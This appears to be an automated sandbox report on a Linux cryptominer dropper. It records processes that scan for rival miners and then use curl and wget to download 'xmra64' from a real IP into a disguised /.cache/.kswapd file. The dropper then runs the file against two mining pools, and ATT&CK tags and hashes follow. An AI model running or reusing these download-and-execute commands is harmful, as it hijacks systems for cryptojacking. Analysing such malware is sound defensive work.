PID:2021

/bin/grep
grep -v grep
2⤵
PID:2027

/bin/grep
grep -v defunct
2⤵
PID:2028

/bin/grep
grep -v l0
2⤵
PID:2020

/bin/grep
grep -v python
2⤵
PID:2029

/bin/grep
grep -v knthread
2⤵
PID:2030

/bin/grep
grep -vi aaaaaaaaaa
2⤵
PID:2031

/bin/grep
grep -vi bash
2⤵
PID:2032

/bin/grep
grep -vi exim
2⤵
PID:2033

/bin/ps
ps aux
2⤵
- Reads CPU attributes
- Reads runtime system information
PID:2019

/usr/bin/awk
awk "{if(\$3>=0.0) print \$2}"
2⤵
PID:2034

/bin/grep
grep -v eth0
2⤵
PID:2024

/usr/bin/uniq
uniq
2⤵
PID:2035

/bin/readlink
readlink /proc/324/exe
2⤵
PID:2037

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/324/exe
2⤵
PID:2039

/bin/readlink
readlink /proc/330/exe
2⤵
PID:2041

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/330/exe
2⤵
- Attempts to change immutable files
PID:2043

/bin/readlink
readlink /proc/414/exe
2⤵
PID:2045

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/414/exe
2⤵
PID:2047

/bin/readlink
readlink /proc/420/exe
2⤵
PID:2049

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/420/exe
2⤵
PID:2051

/bin/readlink
readlink /proc/430/exe
2⤵
PID:2053

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/430/exe
2⤵
PID:2055

/bin/readlink
readlink /proc/436/exe
2⤵
PID:2057

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/436/exe
2⤵
PID:2059

/bin/readlink
readlink /proc/438/exe
2⤵
PID:2061

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/438/exe
2⤵
- Attempts to change immutable files
PID:2063

/bin/readlink
readlink /proc/446/exe
2⤵
PID:2065

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/446/exe
2⤵
- Attempts to change immutable files
PID:2067

/bin/readlink
readlink /proc/453/exe
2⤵
PID:2069

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/453/exe
2⤵
PID:2071

/bin/readlink
readlink /proc/476/exe
2⤵
PID:2073

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/476/exe
2⤵
PID:2075

/bin/readlink
readlink /proc/487/exe
2⤵
PID:2077

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/487/exe
2⤵
PID:2079

/bin/readlink
readlink /proc/494/exe
2⤵
PID:2081

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/494/exe
2⤵
- Attempts to change immutable files
PID:2083

/bin/readlink
readlink /proc/498/exe
2⤵
PID:2085

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/498/exe
2⤵
PID:2087

/bin/readlink
readlink /proc/510/exe
2⤵
PID:2089

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/510/exe
2⤵
- Attempts to change immutable files
PID:2091

/bin/readlink
readlink /proc/512/exe
2⤵
PID:2093

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/512/exe
2⤵
PID:2095

/bin/readlink
readlink /proc/516/exe
2⤵
PID:2097

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/516/exe
2⤵
- Attempts to change immutable files
PID:2099

/bin/readlink
readlink /proc/532/exe
2⤵
PID:2101

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/532/exe
2⤵
PID:2103

/bin/readlink
readlink /proc/533/exe
2⤵
PID:2105

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/533/exe
2⤵
- Attempts to change immutable files
PID:2107

/bin/readlink
readlink /proc/575/exe
2⤵
PID:2109

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/575/exe
2⤵
PID:2111

/bin/readlink
readlink /proc/577/exe
2⤵
PID:2113

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/577/exe
2⤵
PID:2115

/bin/readlink
readlink /proc/599/exe
2⤵
PID:2117

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/599/exe
2⤵
- Attempts to change immutable files
- Reads runtime system information
PID:2119

/bin/readlink
readlink /proc/620/exe
2⤵
PID:2121

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/620/exe
2⤵
- Attempts to change immutable files
PID:2123

/bin/readlink
readlink /proc/621/exe
2⤵
PID:2125

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/621/exe
2⤵
- Attempts to change immutable files
PID:2127

/bin/readlink
readlink /proc/665/exe
2⤵
PID:2129

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/665/exe
2⤵
- Attempts to change immutable files
PID:2131

/bin/readlink
readlink /proc/674/exe
2⤵
PID:2133

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/674/exe
2⤵
- Attempts to change immutable files
PID:2135

/bin/readlink
readlink /proc/681/exe
2⤵
PID:2137

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/681/exe
2⤵
PID:2139

/bin/readlink
readlink /proc/683/exe
2⤵
PID:2141

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/683/exe
2⤵
- Attempts to change immutable files
PID:2143

/bin/readlink
readlink /proc/692/exe
2⤵
PID:2145

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/692/exe
2⤵
- Reads runtime system information
PID:2147

/bin/readlink
readlink /proc/696/exe
2⤵
PID:2149

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/696/exe
2⤵
- Attempts to change immutable files
PID:2151

/bin/readlink
readlink /proc/720/exe
2⤵
PID:2153

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/720/exe
2⤵
PID:2155

/bin/readlink
readlink /proc/747/exe
2⤵
PID:2157

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/747/exe
2⤵
PID:2159

/bin/readlink
readlink /proc/758/exe
2⤵
PID:2161

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/758/exe
2⤵
PID:2163

/bin/readlink
readlink /proc/930/exe
2⤵
PID:2165

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/930/exe
2⤵
PID:2167

/bin/readlink
readlink /proc/957/exe
2⤵
PID:2169

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/957/exe
2⤵
- Attempts to change immutable files
PID:2171

/bin/readlink
readlink /proc/961/exe
2⤵
PID:2173

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/961/exe
2⤵
PID:2175

/bin/readlink
readlink /proc/966/exe
2⤵
PID:2177

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/966/exe
2⤵
PID:2179

/bin/readlink
readlink /proc/969/exe
2⤵
PID:2181

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/969/exe
2⤵
- Attempts to change immutable files
PID:2183

/bin/readlink
readlink /proc/973/exe
2⤵
PID:2185

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/973/exe
2⤵
PID:2187

/bin/readlink
readlink /proc/1023/exe
2⤵
PID:2189

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1023/exe
2⤵
PID:2191

/bin/readlink
readlink /proc/1033/exe
2⤵
PID:2193

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1033/exe
2⤵
PID:2195

/bin/readlink
readlink /proc/1047/exe
2⤵
PID:2197

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1047/exe
2⤵
- Attempts to change immutable files
PID:2199

/bin/readlink
readlink /proc/1053/exe
2⤵
PID:2201

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1053/exe
2⤵
- Attempts to change immutable files
PID:2203

/bin/readlink
readlink /proc/1066/exe
2⤵
PID:2205

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1066/exe
2⤵
PID:2207

/bin/readlink
readlink /proc/1070/exe
2⤵
PID:2209

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1070/exe
2⤵
- Attempts to change immutable files
PID:2211

/bin/readlink
readlink /proc/1074/exe
2⤵
PID:2213

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1074/exe
2⤵
- Attempts to change immutable files
PID:2215

/bin/readlink
readlink /proc/1077/exe
2⤵
PID:2217

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1077/exe
2⤵
- Attempts to change immutable files
PID:2219

/bin/readlink
readlink /proc/1080/exe
2⤵
PID:2221

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1080/exe
2⤵
PID:2223

/bin/readlink
readlink /proc/1090/exe
2⤵
PID:2225

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1090/exe
2⤵
PID:2227

/bin/readlink
readlink /proc/1094/exe
2⤵
PID:2229

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1094/exe
2⤵
PID:2231

/bin/readlink
readlink /proc/1103/exe
2⤵
PID:2233

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1103/exe
2⤵
PID:2235

/bin/readlink
readlink /proc/1113/exe
2⤵
PID:2237

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1113/exe
2⤵
PID:2239

/bin/readlink
readlink /proc/1124/exe
2⤵
PID:2241

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1124/exe
2⤵
PID:2243

/bin/readlink
readlink /proc/1128/exe
2⤵
PID:2245

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1128/exe
2⤵
PID:2247

/bin/readlink
readlink /proc/1132/exe
2⤵
PID:2249

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1132/exe
2⤵
PID:2251

/bin/readlink
readlink /proc/1136/exe
2⤵
PID:2253

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1136/exe
2⤵
- Attempts to change immutable files
PID:2255

/bin/readlink
readlink /proc/1140/exe
2⤵
PID:2257

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1140/exe
2⤵
PID:2259

/bin/readlink
readlink /proc/1144/exe
2⤵
PID:2261

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1144/exe
2⤵
PID:2263

/bin/readlink
readlink /proc/1149/exe
2⤵
PID:2265

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1149/exe
2⤵
- Attempts to change immutable files
PID:2267

/bin/readlink
readlink /proc/1153/exe
2⤵
PID:2269

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1153/exe
2⤵
PID:2271

/bin/readlink
readlink /proc/1155/exe
2⤵
PID:2273

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1155/exe
2⤵
- Attempts to change immutable files
PID:2275

/bin/readlink
readlink /proc/1157/exe
2⤵
PID:2277

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1157/exe
2⤵
PID:2279

/bin/readlink
readlink /proc/1158/exe
2⤵
PID:2281

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1158/exe
2⤵
- Attempts to change immutable files
PID:2283

/bin/readlink
readlink /proc/1163/exe
2⤵
PID:2285

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1163/exe
2⤵
PID:2287

/bin/readlink
readlink /proc/1173/exe
2⤵
PID:2289

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1173/exe
2⤵
- Attempts to change immutable files
PID:2291

/bin/readlink
readlink /proc/1174/exe
2⤵
PID:2293

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1174/exe
2⤵
- Attempts to change immutable files
PID:2295

/bin/readlink
readlink /proc/1176/exe
2⤵
PID:2297

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1176/exe
2⤵
PID:2299

/bin/readlink
readlink /proc/1177/exe
2⤵
PID:2301

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1177/exe
2⤵
- Attempts to change immutable files
PID:2303

/bin/readlink
readlink /proc/1182/exe
2⤵
PID:2305

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1182/exe
2⤵
PID:2307

/bin/readlink
readlink /proc/1192/exe
2⤵
PID:2309

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1192/exe
2⤵
PID:2311

/bin/readlink
readlink /proc/1193/exe
2⤵
PID:2313

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1193/exe
2⤵
- Attempts to change immutable files
PID:2315

/bin/readlink
readlink /proc/1194/exe
2⤵
PID:2317

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1194/exe
2⤵
PID:2319

/bin/readlink
readlink /proc/1195/exe
2⤵
PID:2321

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1195/exe
2⤵
PID:2323

/bin/readlink
readlink /proc/1196/exe
2⤵
PID:2325

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1196/exe
2⤵
PID:2327

/bin/readlink
readlink /proc/1199/exe
2⤵
PID:2329

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1199/exe
2⤵
PID:2331

/bin/readlink
readlink /proc/1203/exe
2⤵
PID:2333

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1203/exe
2⤵
PID:2335

/bin/readlink
readlink /proc/1236/exe
2⤵
PID:2337

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1236/exe
2⤵
- Attempts to change immutable files
PID:2339

/bin/readlink
readlink /proc/1239/exe
2⤵
PID:2341

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1239/exe
2⤵
PID:2343

/bin/readlink
readlink /proc/1260/exe
2⤵
PID:2345

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1260/exe
2⤵
PID:2347

/bin/readlink
readlink /proc/1267/exe
2⤵
PID:2349

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1267/exe
2⤵
PID:2351

/bin/readlink
readlink /proc/1280/exe
2⤵
PID:2353

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1280/exe
2⤵
PID:2355

/bin/readlink
readlink /proc/1292/exe
2⤵
PID:2357

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1292/exe
2⤵
PID:2359

/bin/readlink
readlink /proc/1300/exe
2⤵
PID:2361

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1300/exe
2⤵
PID:2363

/bin/readlink
readlink /proc/1312/exe
2⤵
PID:2365

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1312/exe
2⤵
- Attempts to change immutable files
PID:2367

/bin/readlink
readlink /proc/1317/exe
2⤵
PID:2369

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1317/exe
2⤵
PID:2371

/bin/readlink
readlink /proc/1322/exe
2⤵
PID:2373

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1322/exe
2⤵
PID:2375

/bin/readlink
readlink /proc/1350/exe
2⤵
PID:2377

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1350/exe
2⤵
- Attempts to change immutable files
PID:2379

/bin/readlink
readlink /proc/1358/exe
2⤵
PID:2381

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1358/exe
2⤵
- Attempts to change immutable files
PID:2383

/bin/readlink
readlink /proc/1390/exe
2⤵
PID:2385

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1390/exe
2⤵
PID:2387

/bin/readlink
readlink /proc/1485/exe
2⤵
PID:2389

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1485/exe
2⤵
PID:2391

/bin/readlink
readlink /proc/1512/cwd
2⤵
PID:2392

/bin/cat
cat /proc/1512/comm
2⤵
PID:2393

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" //kdumpy
2⤵
PID:2395

/bin/readlink
readlink /proc/1513/cwd
2⤵
PID:2396

/bin/cat
cat /proc/1513/comm
2⤵
PID:2397

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" //stahp_fdump
2⤵
PID:2399

/bin/readlink
readlink /proc/1514/cwd
2⤵
PID:2400

/bin/cat
cat /proc/1514/comm
2⤵
PID:2401

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" //stahp_vma
2⤵
PID:2403

/bin/readlink
readlink /proc/1558/exe
2⤵
PID:2405

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1558/exe
2⤵
- Attempts to change immutable files
PID:2407

/bin/readlink
readlink /proc/1996/exe
2⤵
PID:2409

/bin/grep
grep -i "xmr\\|cryptonight\\|hashrate" /proc/1996/exe
2⤵
PID:2411

/usr/bin/cut
cut -c 1-32
2⤵
PID:2415

/usr/bin/md5sum
md5sum /.cache/.kswapd
2⤵
PID:2414

/usr/bin/cut
cut -c 1-32
2⤵
PID:2418

/usr/bin/md5sum
md5sum /.cache/.kswapd
2⤵
PID:2417

/usr/bin/wc
wc -l
2⤵
PID:2422

/bin/grep
grep x86_64
2⤵
PID:2421

/usr/bin/curl
curl http://138.197.206.223/.x/xmra64 -o /.cache/.kswapd
2⤵
PID:2424

/usr/bin/wget
wget http://138.197.206.223/.x/xmra64 -O /.cache/.kswapd
2⤵
PID:2425

/bin/chmod
chmod +x /.cache/.kswapd
2⤵
PID:2426

/.cache/.kswapd
/.cache/.kswapd -o 185.165.171.78:8081 -o 185.86.148.14:8081 -B
1⤵
- Executes dropped EXE
PID:1991

/.cache/.kswapd
/.cache/.kswapd -o 185.165.171.78:8081 -o 185.86.148.14:8081 -B
1⤵
- Executes dropped EXE
PID:2427

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Hijack Execution Flow

1

T1574

Privilege Escalation

Hijack Execution Flow

1

T1574

Defense Evasion

Hijack Execution Flow

1

T1574

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/.gCM8WmmCs9RAsj7u
Filesize
17B

MD5
c5324e9e32e96381871c0f43647c480d

SHA1
125de9ed319b53bc415d6b1a934ce2faf957110d

SHA256
14aec313084082fc1778a36d44131c2f4c8fcc121fd4bbfcf18097d928c6006f

SHA512
3f23db8c6220cf68f92fec98b69de286706c3d2570077c92c11bd020163a7e8895e20147788fbc4ee8a97316b543c4959db622214bdf34f77d3eced74c4b0b2a

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads